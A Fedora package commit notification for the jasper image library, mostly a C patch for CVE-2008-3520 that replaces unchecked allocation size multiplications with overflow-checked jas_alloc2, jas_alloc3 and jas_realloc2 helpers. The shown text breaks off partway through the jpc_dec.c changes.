Author: rdieter

Update of /cvs/pkgs/rpms/jasper/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24393/F-12

Modified Files:
	jasper.spec 
Added Files:
	jasper-1.900.1-CVE-2008-3520.patch 
	jasper-1.900.1-CVE-2008-3522.patch 
Log Message:
* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
- CVE-2008-3522 jasper: possible buffer overflow in 
  jas_stream_printf() (#461478)


jasper-1.900.1-CVE-2008-3520.patch:
 base/jas_cm.c               |   11 ++++-----
 base/jas_icc.c              |   39 +++++++++++++++++------------------
 base/jas_image.c            |    5 +---
 base/jas_malloc.c           |   49 +++++++++++++++++++++++++++++++++++++-------
 base/jas_seq.c              |    6 ++---
 base/jas_stream.c           |    4 +--
 bmp/bmp_dec.c               |    2 -
 include/jasper/jas_malloc.h |    9 ++++++++
 jp2/jp2_cod.c               |   14 ++++++------
 jp2/jp2_dec.c               |    4 +--
 jp2/jp2_enc.c               |    4 +--
 jpc/jpc_cs.c                |   14 ++++++------
 jpc/jpc_dec.c               |   27 +++++++++++-------------
 jpc/jpc_enc.c               |   20 ++++++++---------
 jpc/jpc_mqdec.c             |    2 -
 jpc/jpc_mqenc.c             |    2 -
 jpc/jpc_qmfb.c              |   16 +++++++-------
 jpc/jpc_t1enc.c             |    2 -
 jpc/jpc_t2cod.c             |    2 -
 jpc/jpc_t2dec.c             |    6 ++---
 jpc/jpc_t2enc.c             |    6 ++---
 jpc/jpc_tagtree.c           |    2 -
 jpc/jpc_util.c              |    2 -
 mif/mif_cod.c               |    3 --
 24 files changed, 145 insertions(+), 106 deletions(-)

--- NEW FILE jasper-1.900.1-CVE-2008-3520.patch ---
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3520

OpenBSD jas_malloc hardening patches

diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_cm.c jasper-1.900.1/src/libjasper/base/jas_cm.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_cm.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_cm.c	2009-10-22 10:27:45.000000000 +0200
@@ -704,8 +704,7 @@ static int jas_cmpxformseq_resize(jas_cm
 {
 	jas_cmpxform_t **p;
 	assert(n >= pxformseq->numpxforms);
-	p = (!pxformseq->pxforms) ? jas_malloc(n * sizeof(jas_cmpxform_t *)) :
-	  jas_realloc(pxformseq->pxforms, n * sizeof(jas_cmpxform_t *));
+	p = jas_realloc2(pxformseq->pxforms, n, sizeof(jas_cmpxform_t *));
 	if (!p) {
 		return -1;
 	}
@@ -889,13 +888,13 @@ static int jas_cmshapmatlut_set(jas_cmsh
 	jas_cmshapmatlut_cleanup(lut);
 	if (curv->numents == 0) {
 		lut->size = 2;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		lut->data[0] = 0.0;
 		lut->data[1] = 1.0;
 	} else if (curv->numents == 1) {
 		lut->size = 256;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		gamma = curv->ents[0] / 256.0;
 		for (i = 0; i < lut->size; ++i) {
@@ -903,7 +902,7 @@ static int jas_cmshapmatlut_set(jas_cmsh
 		}
 	} else {
 		lut->size = curv->numents;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		for (i = 0; i < lut->size; ++i) {
 			lut->data[i] = curv->ents[i] / 65535.0;
@@ -953,7 +952,7 @@ static int jas_cmshapmatlut_invert(jas_c
 			return -1;
 		}
 	}
-	if (!(invlut->data = jas_malloc(n * sizeof(jas_cmreal_t))))
+	if (!(invlut->data = jas_alloc2(n, sizeof(jas_cmreal_t))))
 		return -1;
 	invlut->size = n;
 	for (i = 0; i < invlut->size; ++i) {
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_icc.c jasper-1.900.1/src/libjasper/base/jas_icc.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_icc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_icc.c	2009-10-22 10:27:45.000000000 +0200
@@ -373,7 +373,7 @@ int jas_iccprof_save(jas_iccprof_t *prof
 	jas_icctagtab_t *tagtab;
 
 	tagtab = &prof->tagtab;
-	if (!(tagtab->ents = jas_malloc(prof->attrtab->numattrs *
+	if (!(tagtab->ents = jas_alloc2(prof->attrtab->numattrs,
 	  sizeof(jas_icctagtabent_t))))
 		goto error;
 	tagtab->numents = prof->attrtab->numattrs;
@@ -522,7 +522,7 @@ static int jas_iccprof_gettagtab(jas_str
 	}
 	if (jas_iccgetuint32(in, &tagtab->numents))
 		goto error;
-	if (!(tagtab->ents = jas_malloc(tagtab->numents *
+	if (!(tagtab->ents = jas_alloc2(tagtab->numents,
 	  sizeof(jas_icctagtabent_t))))
 		goto error;
 	tagtabent = tagtab->ents;
@@ -743,8 +743,7 @@ static int jas_iccattrtab_resize(jas_icc
 {
 	jas_iccattr_t *newattrs;
 	assert(maxents >= tab->numattrs);
-	newattrs = tab->attrs ? jas_realloc(tab->attrs, maxents *
-	  sizeof(jas_iccattr_t)) : jas_malloc(maxents * sizeof(jas_iccattr_t));
+	newattrs = jas_realloc2(tab->attrs, maxents, sizeof(jas_iccattr_t));
 	if (!newattrs)
 		return -1;
 	tab->attrs = newattrs;
@@ -999,7 +998,7 @@ static int jas_icccurv_input(jas_iccattr
 
 	if (jas_iccgetuint32(in, &curv->numents))
 		goto error;
-	if (!(curv->ents = jas_malloc(curv->numents * sizeof(jas_iccuint16_t))))
+	if (!(curv->ents = jas_alloc2(curv->numents, sizeof(jas_iccuint16_t))))
 		goto error;
 	for (i = 0; i < curv->numents; ++i) {
 		if (jas_iccgetuint16(in, &curv->ents[i]))
@@ -1100,7 +1099,7 @@ static int jas_icctxtdesc_input(jas_icca
 	if (jas_iccgetuint32(in, &txtdesc->uclangcode) ||
 	  jas_iccgetuint32(in, &txtdesc->uclen))
 		goto error;
-	if (!(txtdesc->ucdata = jas_malloc(txtdesc->uclen * 2)))
+	if (!(txtdesc->ucdata = jas_alloc2(txtdesc->uclen, 2)))
 		goto error;
 	if (jas_stream_read(in, txtdesc->ucdata, txtdesc->uclen * 2) !=
 	  JAS_CAST(int, txtdesc->uclen * 2))
@@ -1292,17 +1291,17 @@ static int jas_icclut8_input(jas_iccattr
 	  jas_iccgetuint16(in, &lut8->numouttabents))
 		goto error;
 	clutsize = jas_iccpowi(lut8->clutlen, lut8->numinchans) * lut8->numoutchans;
-	if (!(lut8->clut = jas_malloc(clutsize * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->intabsbuf = jas_malloc(lut8->numinchans *
-	  lut8->numintabents * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->intabs = jas_malloc(lut8->numinchans *
+	if (!(lut8->clut = jas_alloc2(clutsize, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->intabsbuf = jas_alloc3(lut8->numinchans,
+	  lut8->numintabents, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->intabs = jas_alloc2(lut8->numinchans,
 	  sizeof(jas_iccuint8_t *))))
 		goto error;
 	for (i = 0; i < lut8->numinchans; ++i)
 		lut8->intabs[i] = &lut8->intabsbuf[i * lut8->numintabents];
-	if (!(lut8->outtabsbuf = jas_malloc(lut8->numoutchans *
-	  lut8->numouttabents * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->outtabs = jas_malloc(lut8->numoutchans *
+	if (!(lut8->outtabsbuf = jas_alloc3(lut8->numoutchans,
+	  lut8->numouttabents, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->outtabs = jas_alloc2(lut8->numoutchans,
 	  sizeof(jas_iccuint8_t *))))
 		goto error;
 	for (i = 0; i < lut8->numoutchans; ++i)
@@ -1461,17 +1460,17 @@ static int jas_icclut16_input(jas_iccatt
 	  jas_iccgetuint16(in, &lut16->numouttabents))
 		goto error;
 	clutsize = jas_iccpowi(lut16->clutlen, lut16->numinchans) * lut16->numoutchans;
-	if (!(lut16->clut = jas_malloc(clutsize * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->intabsbuf = jas_malloc(lut16->numinchans *
-	  lut16->numintabents * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->intabs = jas_malloc(lut16->numinchans *
+	if (!(lut16->clut = jas_alloc2(clutsize, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->intabsbuf = jas_alloc3(lut16->numinchans,
+	  lut16->numintabents, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->intabs = jas_alloc2(lut16->numinchans,
 	  sizeof(jas_iccuint16_t *))))
 		goto error;
 	for (i = 0; i < lut16->numinchans; ++i)
 		lut16->intabs[i] = &lut16->intabsbuf[i * lut16->numintabents];
-	if (!(lut16->outtabsbuf = jas_malloc(lut16->numoutchans *
-	  lut16->numouttabents * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->outtabs = jas_malloc(lut16->numoutchans *
+	if (!(lut16->outtabsbuf = jas_alloc3(lut16->numoutchans,
+	  lut16->numouttabents, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->outtabs = jas_alloc2(lut16->numoutchans,
 	  sizeof(jas_iccuint16_t *))))
 		goto error;
 	for (i = 0; i < lut16->numoutchans; ++i)
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_image.c jasper-1.900.1/src/libjasper/base/jas_image.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_image.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_image.c	2009-10-22 10:27:45.000000000 +0200
@@ -142,7 +142,7 @@ jas_image_t *jas_image_create(int numcmp
 	image->inmem_ = true;
 
 	/* Allocate memory for the per-component information. */
-	if (!(image->cmpts_ = jas_malloc(image->maxcmpts_ *
+	if (!(image->cmpts_ = jas_alloc2(image->maxcmpts_,
 	  sizeof(jas_image_cmpt_t *)))) {
 		jas_image_destroy(image);
 		return 0;
@@ -774,8 +774,7 @@ static int jas_image_growcmpts(jas_image
 	jas_image_cmpt_t **newcmpts;
 	int cmptno;
 
-	newcmpts = (!image->cmpts_) ? jas_malloc(maxcmpts * sizeof(jas_image_cmpt_t *)) :
-	  jas_realloc(image->cmpts_, maxcmpts * sizeof(jas_image_cmpt_t *));
+	newcmpts = jas_realloc2(image->cmpts_, maxcmpts, sizeof(jas_image_cmpt_t *));
 	if (!newcmpts) {
 		return -1;
 	}
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_malloc.c jasper-1.900.1/src/libjasper/base/jas_malloc.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_malloc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_malloc.c	2009-10-22 10:27:45.000000000 +0200
@@ -76,6 +76,9 @@
 
 /* We need the prototype for memset. */
 #include <string.h>
+#include <limits.h>
+#include <errno.h>
+#include <stdint.h>
 
 #include "jasper/jas_malloc.h"
 
@@ -113,18 +116,50 @@ void jas_free(void *ptr)
 
 void *jas_realloc(void *ptr, size_t size)
 {
-	return realloc(ptr, size);
+	return ptr ? realloc(ptr, size) : malloc(size);
 }
 
-void *jas_calloc(size_t nmemb, size_t size)
+void *jas_realloc2(void *ptr, size_t nmemb, size_t size)
+{
+	if (!ptr)
+		return jas_alloc2(nmemb, size);
+	if (nmemb && SIZE_MAX / nmemb < size) {
+		errno = ENOMEM;
+		return NULL;
+	}
+	return jas_realloc(ptr, nmemb * size);
+
+}
+
+void *jas_alloc2(size_t nmemb, size_t size)
+{
+	if (nmemb && SIZE_MAX / nmemb < size) {
+		errno = ENOMEM;
+		return NULL;
+	}
+
+	return jas_malloc(nmemb * size);
+}
+
+void *jas_alloc3(size_t a, size_t b, size_t c)
 {
-	void *ptr;
 	size_t n;
-	n = nmemb * size;
-	if (!(ptr = jas_malloc(n * sizeof(char)))) {
-		return 0;
+
+	if (a && SIZE_MAX / a < b) {
+		errno = ENOMEM;
+		return NULL;
 	}
-	memset(ptr, 0, n);
+
+	return jas_alloc2(a*b, c);
+}
+
+void *jas_calloc(size_t nmemb, size_t size)
+{
+	void *ptr;
+
+	ptr = jas_alloc2(nmemb, size);
+	if (ptr)
+		memset(ptr, 0, nmemb*size);
 	return ptr;
 }
 
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_seq.c jasper-1.900.1/src/libjasper/base/jas_seq.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_seq.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_seq.c	2009-10-22 10:27:45.000000000 +0200
@@ -114,7 +114,7 @@ jas_matrix_t *jas_matrix_create(int numr
 	matrix->datasize_ = numrows * numcols;
 
 	if (matrix->maxrows_ > 0) {
-		if (!(matrix->rows_ = jas_malloc(matrix->maxrows_ *
+		if (!(matrix->rows_ = jas_alloc2(matrix->maxrows_,
 		  sizeof(jas_seqent_t *)))) {
 			jas_matrix_destroy(matrix);
 			return 0;
@@ -122,7 +122,7 @@ jas_matrix_t *jas_matrix_create(int numr
 	}
 
 	if (matrix->datasize_ > 0) {
-		if (!(matrix->data_ = jas_malloc(matrix->datasize_ *
+		if (!(matrix->data_ = jas_alloc2(matrix->datasize_,
 		  sizeof(jas_seqent_t)))) {
 			jas_matrix_destroy(matrix);
 			return 0;
@@ -220,7 +220,7 @@ void jas_matrix_bindsub(jas_matrix_t *ma
 	mat0->numrows_ = r1 - r0 + 1;
 	mat0->numcols_ = c1 - c0 + 1;
 	mat0->maxrows_ = mat0->numrows_;
-	mat0->rows_ = jas_malloc(mat0->maxrows_ * sizeof(jas_seqent_t *));
+	mat0->rows_ = jas_alloc2(mat0->maxrows_, sizeof(jas_seqent_t *));
 	for (i = 0; i < mat0->numrows_; ++i) {
 		mat0->rows_[i] = mat1->rows_[r0 + i] + c0;
 	}
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_stream.c jasper-1.900.1/src/libjasper/base/jas_stream.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_stream.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_stream.c	2009-10-22 10:27:45.000000000 +0200
@@ -212,7 +212,7 @@ jas_stream_t *jas_stream_memopen(char *b
 	if (buf) {
 		obj->buf_ = (unsigned char *) buf;
 	} else {
-		obj->buf_ = jas_malloc(obj->bufsize_ * sizeof(char));
+		obj->buf_ = jas_malloc(obj->bufsize_);
 		obj->myalloc_ = 1;
 	}
 	if (!obj->buf_) {
@@ -992,7 +992,7 @@ static int mem_resize(jas_stream_memobj_
 	unsigned char *buf;
 
 	assert(m->buf_);
-	if (!(buf = jas_realloc(m->buf_, bufsize * sizeof(unsigned char)))) {
+	if (!(buf = jas_realloc(m->buf_, bufsize))) {
 		return -1;
 	}
 	m->buf_ = buf;
diff -pruN jasper-1.900.1.orig/src/libjasper/bmp/bmp_dec.c jasper-1.900.1/src/libjasper/bmp/bmp_dec.c
--- jasper-1.900.1.orig/src/libjasper/bmp/bmp_dec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/bmp/bmp_dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -283,7 +283,7 @@ static bmp_info_t *bmp_getinfo(jas_strea
 	}
 
 	if (info->numcolors > 0) {
-		if (!(info->palents = jas_malloc(info->numcolors *
+		if (!(info->palents = jas_alloc2(info->numcolors,
 		  sizeof(bmp_palent_t)))) {
 			bmp_info_destroy(info);
 			return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/include/jasper/jas_malloc.h jasper-1.900.1/src/libjasper/include/jasper/jas_malloc.h
--- jasper-1.900.1.orig/src/libjasper/include/jasper/jas_malloc.h	2007-01-19 22:43:04.000000000 +0100
+++ jasper-1.900.1/src/libjasper/include/jasper/jas_malloc.h	2009-10-22 10:27:45.000000000 +0200
@@ -95,6 +95,9 @@ extern "C" {
 #define	jas_free	MEMFREE
 #define	jas_realloc	MEMREALLOC
 #define	jas_calloc	MEMCALLOC
+#define jas_alloc2(a, b)	MEMALLOC((a)*(b))
+#define jas_alloc3(a, b, c)	MEMALLOC((a)*(b)*(c))
+#define jas_realloc2(p, a, b)	MEMREALLOC((p), (a)*(b))
 #endif
 
 /******************************************************************************\
@@ -115,6 +118,12 @@ void *jas_realloc(void *ptr, size_t size
 /* Allocate a block of memory and initialize the contents to zero. */
 void *jas_calloc(size_t nmemb, size_t size);
 
+/* size-checked double allocation .*/
+void *jas_alloc2(size_t, size_t);
+
+void *jas_alloc3(size_t, size_t, size_t);
+
+void *jas_realloc2(void *, size_t, size_t);
 #endif
 
 #ifdef __cplusplus
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_cod.c jasper-1.900.1/src/libjasper/jp2/jp2_cod.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_cod.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_cod.c	2009-10-22 10:30:24.000000000 +0200
@@ -247,7 +247,7 @@ jp2_box_t *jp2_box_get(jas_stream_t *in)
 	box = 0;
 	tmpstream = 0;
 
-	if (!(box = jas_malloc(sizeof(jp2_box_t)))) {
+	if (!(box = jas_calloc(1, sizeof(jp2_box_t)))) {
 		goto error;
 	}
 	box->ops = &jp2_boxinfo_unk.ops;
@@ -372,7 +372,7 @@ static int jp2_bpcc_getdata(jp2_box_t *b
 	jp2_bpcc_t *bpcc = &box->data.bpcc;
 	unsigned int i;
 	bpcc->numcmpts = box->datalen;
-	if (!(bpcc->bpcs = jas_malloc(bpcc->numcmpts * sizeof(uint_fast8_t)))) {
+	if (!(bpcc->bpcs = jas_alloc2(bpcc->numcmpts, sizeof(uint_fast8_t)))) {
 		return -1;
 	}
 	for (i = 0; i < bpcc->numcmpts; ++i) {
@@ -416,7 +416,7 @@ static int jp2_colr_getdata(jp2_box_t *b
 		break;
 	case JP2_COLR_ICC:
 		colr->iccplen = box->datalen - 3;
-		if (!(colr->iccp = jas_malloc(colr->iccplen * sizeof(uint_fast8_t)))) {
+		if (!(colr->iccp = jas_alloc2(colr->iccplen, sizeof(uint_fast8_t)))) {
 			return -1;
 		}
 		if (jas_stream_read(in, colr->iccp, colr->iccplen) != colr->iccplen) {
@@ -453,7 +453,7 @@ static int jp2_cdef_getdata(jp2_box_t *b
 	if (jp2_getuint16(in, &cdef->numchans)) {
 		return -1;
 	}
-	if (!(cdef->ents = jas_malloc(cdef->numchans * sizeof(jp2_cdefchan_t)))) {
+	if (!(cdef->ents = jas_alloc2(cdef->numchans, sizeof(jp2_cdefchan_t)))) {
 		return -1;
 	}
 	for (channo = 0; channo < cdef->numchans; ++channo) {
@@ -766,7 +766,7 @@ static int jp2_cmap_getdata(jp2_box_t *b
 	unsigned int i;
 
 	cmap->numchans = (box->datalen) / 4;
-	if (!(cmap->ents = jas_malloc(cmap->numchans * sizeof(jp2_cmapent_t)))) {
+	if (!(cmap->ents = jas_alloc2(cmap->numchans, sizeof(jp2_cmapent_t)))) {
 		return -1;
 	}
 	for (i = 0; i < cmap->numchans; ++i) {
@@ -828,10 +828,10 @@ static int jp2_pclr_getdata(jp2_box_t *b
 		return -1;
 	}
 	lutsize = pclr->numlutents * pclr->numchans;
-	if (!(pclr->lutdata = jas_malloc(lutsize * sizeof(int_fast32_t)))) {
+	if (!(pclr->lutdata = jas_alloc2(lutsize, sizeof(int_fast32_t)))) {
 		return -1;
 	}
-	if (!(pclr->bpc = jas_malloc(pclr->numchans * sizeof(uint_fast8_t)))) {
+	if (!(pclr->bpc = jas_alloc2(pclr->numchans, sizeof(uint_fast8_t)))) {
 		return -1;
 	}
 	for (i = 0; i < pclr->numchans; ++i) {
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_dec.c jasper-1.900.1/src/libjasper/jp2/jp2_dec.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_dec.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -336,7 +336,7 @@ jas_image_t *jp2_decode(jas_stream_t *in
 	}
 
 	/* Allocate space for the channel-number to component-number LUT. */
-	if (!(dec->chantocmptlut = jas_malloc(dec->numchans * sizeof(uint_fast16_t)))) {
+	if (!(dec->chantocmptlut = jas_alloc2(dec->numchans, sizeof(uint_fast16_t)))) {
 		jas_eprintf("error: no memory\n");
 		goto error;
 	}
@@ -354,7 +354,7 @@ jas_image_t *jp2_decode(jas_stream_t *in
 			if (cmapent->map == JP2_CMAP_DIRECT) {
 				dec->chantocmptlut[channo] = channo;
 			} else if (cmapent->map == JP2_CMAP_PALETTE) {
-				lutents = jas_malloc(pclrd->numlutents * sizeof(int_fast32_t));
+				lutents = jas_alloc2(pclrd->numlutents, sizeof(int_fast32_t));
 				for (i = 0; i < pclrd->numlutents; ++i) {
 					lutents[i] = pclrd->lutdata[cmapent->pcol + i * pclrd->numchans];
 				}
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_enc.c jasper-1.900.1/src/libjasper/jp2/jp2_enc.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_enc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -191,7 +191,7 @@ int sgnd;
 		}
 		bpcc = &box->data.bpcc;
 		bpcc->numcmpts = jas_image_numcmpts(image);
-		if (!(bpcc->bpcs = jas_malloc(bpcc->numcmpts *
+		if (!(bpcc->bpcs = jas_alloc2(bpcc->numcmpts,
 		  sizeof(uint_fast8_t)))) {
 			goto error;
 		}
@@ -285,7 +285,7 @@ int sgnd;
 		}
 		cdef = &box->data.cdef;
 		cdef->numchans = jas_image_numcmpts(image);
-		cdef->ents = jas_malloc(cdef->numchans * sizeof(jp2_cdefchan_t));
+		cdef->ents = jas_alloc2(cdef->numchans, sizeof(jp2_cdefchan_t));
 		for (i = 0; i < jas_image_numcmpts(image); ++i) {
 			cdefchanent = &cdef->ents[i];
 			cdefchanent->channo = i;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_cs.c jasper-1.900.1/src/libjasper/jpc/jpc_cs.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_cs.c	2009-10-22 09:58:16.000000000 +0200
+++ jasper-1.900.1/src/libjasper/jpc/jpc_cs.c	2009-10-22 10:27:45.000000000 +0200
@@ -502,7 +502,7 @@ static int jpc_siz_getparms(jpc_ms_t *ms
 	  !siz->tileheight || !siz->numcomps) {
 		return -1;
 	}
-	if (!(siz->comps = jas_malloc(siz->numcomps * sizeof(jpc_sizcomp_t)))) {
+	if (!(siz->comps = jas_alloc2(siz->numcomps, sizeof(jpc_sizcomp_t)))) {
 		return -1;
 	}
 	for (i = 0; i < siz->numcomps; ++i) {
@@ -986,7 +986,7 @@ static int jpc_qcx_getcompparms(jpc_qcxc
 		jpc_qcx_destroycompparms(compparms);
                 return -1;
         } else if (compparms->numstepsizes > 0) {
-		compparms->stepsizes = jas_malloc(compparms->numstepsizes *
+		compparms->stepsizes = jas_alloc2(compparms->numstepsizes,
 		  sizeof(uint_fast16_t));
 		assert(compparms->stepsizes);
 		for (i = 0; i < compparms->numstepsizes; ++i) {
@@ -1094,7 +1094,7 @@ static int jpc_ppm_getparms(jpc_ms_t *ms
 
 	ppm->len = ms->len - 1;
 	if (ppm->len > 0) {
-		if (!(ppm->data = jas_malloc(ppm->len * sizeof(unsigned char)))) {
+		if (!(ppm->data = jas_malloc(ppm->len))) {
 			goto error;
 		}
 		if (JAS_CAST(uint, jas_stream_read(in, ppm->data, ppm->len)) != ppm->len) {
@@ -1163,7 +1163,7 @@ static int jpc_ppt_getparms(jpc_ms_t *ms
 	}
 	ppt->len = ms->len - 1;
 	if (ppt->len > 0) {
-		if (!(ppt->data = jas_malloc(ppt->len * sizeof(unsigned char)))) {
+		if (!(ppt->data = jas_malloc(ppt->len))) {
 			goto error;
 		}
 		if (jas_stream_read(in, (char *) ppt->data, ppt->len) != JAS_CAST(int, ppt->len)) {
@@ -1226,7 +1226,7 @@ static int jpc_poc_getparms(jpc_ms_t *ms
 	uint_fast8_t tmp;
 	poc->numpchgs = (cstate->numcomps > 256) ? (ms->len / 9) :
 	  (ms->len / 7);
-	if (!(poc->pchgs = jas_malloc(poc->numpchgs * sizeof(jpc_pocpchg_t)))) {
+	if (!(poc->pchgs = jas_alloc2(poc->numpchgs, sizeof(jpc_pocpchg_t)))) {
 		goto error;
 	}
 	for (pchgno = 0, pchg = poc->pchgs; pchgno < poc->numpchgs; ++pchgno,
@@ -1331,7 +1331,7 @@ static int jpc_crg_getparms(jpc_ms_t *ms
 	jpc_crgcomp_t *comp;
 	uint_fast16_t compno;
 	crg->numcomps = cstate->numcomps;
-	if (!(crg->comps = jas_malloc(cstate->numcomps * sizeof(uint_fast16_t)))) {
+	if (!(crg->comps = jas_alloc2(cstate->numcomps, sizeof(uint_fast16_t)))) {
 		return -1;
 	}
 	for (compno = 0, comp = crg->comps; compno < cstate->numcomps;
@@ -1470,7 +1470,7 @@ static int jpc_unk_getparms(jpc_ms_t *ms
 	cstate = 0;
 
 	if (ms->len > 0) {
-		if (!(unk->data = jas_malloc(ms->len * sizeof(unsigned char)))) {
+		if (!(unk->data = jas_malloc(ms->len))) {
 			return -1;
 		}
 		if (jas_stream_read(in, (char *) unk->data, ms->len) != JAS_CAST(int, ms->len)) {
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_dec.c jasper-1.900.1/src/libjasper/jpc/jpc_dec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_dec.c	2009-10-22 09:58:16.000000000 +0200
+++ jasper-1.900.1/src/libjasper/jpc/jpc_dec.c	2009-10-22 10:30:50.000000000 +0200
@@ -449,7 +449,7 @@ static int jpc_dec_process_sot(jpc_dec_t
 
 	if (dec->state == JPC_MH) {
 
-		compinfos = jas_malloc(dec->numcomps * sizeof(jas_image_cmptparm_t));
+		compinfos = jas_alloc2(dec->numcomps, sizeof(jas_image_cmptparm_t));
 		assert(compinfos);
 		for (cmptno = 0, cmpt = dec->cmpts, compinfo = compinfos;
 		  cmptno < dec->numcomps; ++cmptno, ++cmpt, ++compinfo) {
@@ -692,7 +692,7 @@ static int jpc_dec_tileinit(jpc_dec_t *d
 			tile->realmode = 1;
 		}
 		tcomp->numrlvls = ccp->numrlvls;
-		if (!(tcomp->rlvls = jas_malloc(tcomp->numrlvls *
+		if (!(tcomp->rlvls = jas_alloc2(tcomp->numrlvls,
 		  sizeof(jpc_dec_rlvl_t)))) {
 			return -1;
 		}
@@ -764,7 +764,7 @@ rlvl->bands = 0;
 			  rlvl->cbgheightexpn);
 
 			rlvl->numbands = (!rlvlno) ? 1 : 3;
-			if (!(rlvl->bands = jas_malloc(rlvl->numbands *
+			if (!(rlvl->bands = jas_alloc2(rlvl->numbands,
 			  sizeof(jpc_dec_band_t)))) {
 				return -1;
 			}
@@ -797,7 +797,7 @@ rlvl->bands = 0;
 
 				assert(rlvl->numprcs);
 
-				if (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_dec_prc_t)))) {
+				if (!(band->prcs = jas_alloc2(rlvl->numprcs, sizeof(jpc_dec_prc_t)))) {
 					return -1;
 				}
 
@@ -834,7 +834,7 @@ rlvl->bands = 0;
 			if (!(prc->numimsbstagtree = jpc_tagtree_create(prc->numhcblks, prc->numvcblks))) {
 				return -1;
 			}
-			if (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_dec_cblk_t)))) {
+			if (!(prc->cblks = jas_alloc2(prc->numcblks, sizeof(jpc_dec_cblk_t)))) {
 				return -1;
 			}
 
@@ -1181,7 +1181,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 		return -1;
 	}
 
-	if (!(dec->cmpts = jas_malloc(dec->numcomps * sizeof(jpc_dec_cmpt_t)))) {
+	if (!(dec->cmpts = jas_alloc2(dec->numcomps, sizeof(jpc_dec_cmpt_t)))) {
 		return -1;
 	}
 
@@ -1204,7 +1204,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 	dec->numhtiles = JPC_CEILDIV(dec->xend - dec->tilexoff, dec->tilewidth);
 	dec->numvtiles = JPC_CEILDIV(dec->yend - dec->tileyoff, dec->tileheight);
 	dec->numtiles = dec->numhtiles * dec->numvtiles;
-	if (!(dec->tiles = jas_malloc(dec->numtiles * sizeof(jpc_dec_tile_t)))) {
+	if (!(dec->tiles = jas_calloc(dec->numtiles, sizeof(jpc_dec_tile_t)))) {
 		return -1;
 	}
 
@@ -1228,7 +1228,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 		tile->pkthdrstreampos = 0;
 		tile->pptstab = 0;
 		tile->cp = 0;
-		if (!(tile->tcomps = jas_malloc(dec->numcomps *
+		if (!(tile->tcomps = jas_calloc(dec->numcomps,
 		  sizeof(jpc_dec_tcomp_t)))) {
 			return -1;
 		}
@@ -1489,7 +1489,7 @@ static jpc_dec_cp_t *jpc_dec_cp_create(u
 	cp->numlyrs = 0;
 	cp->mctid = 0;
 	cp->csty = 0;
-	if (!(cp->ccps = jas_malloc(cp->numcomps * sizeof(jpc_dec_ccp_t)))) {
+	if (!(cp->ccps = jas_alloc2(cp->numcomps, sizeof(jpc_dec_ccp_t)))) {
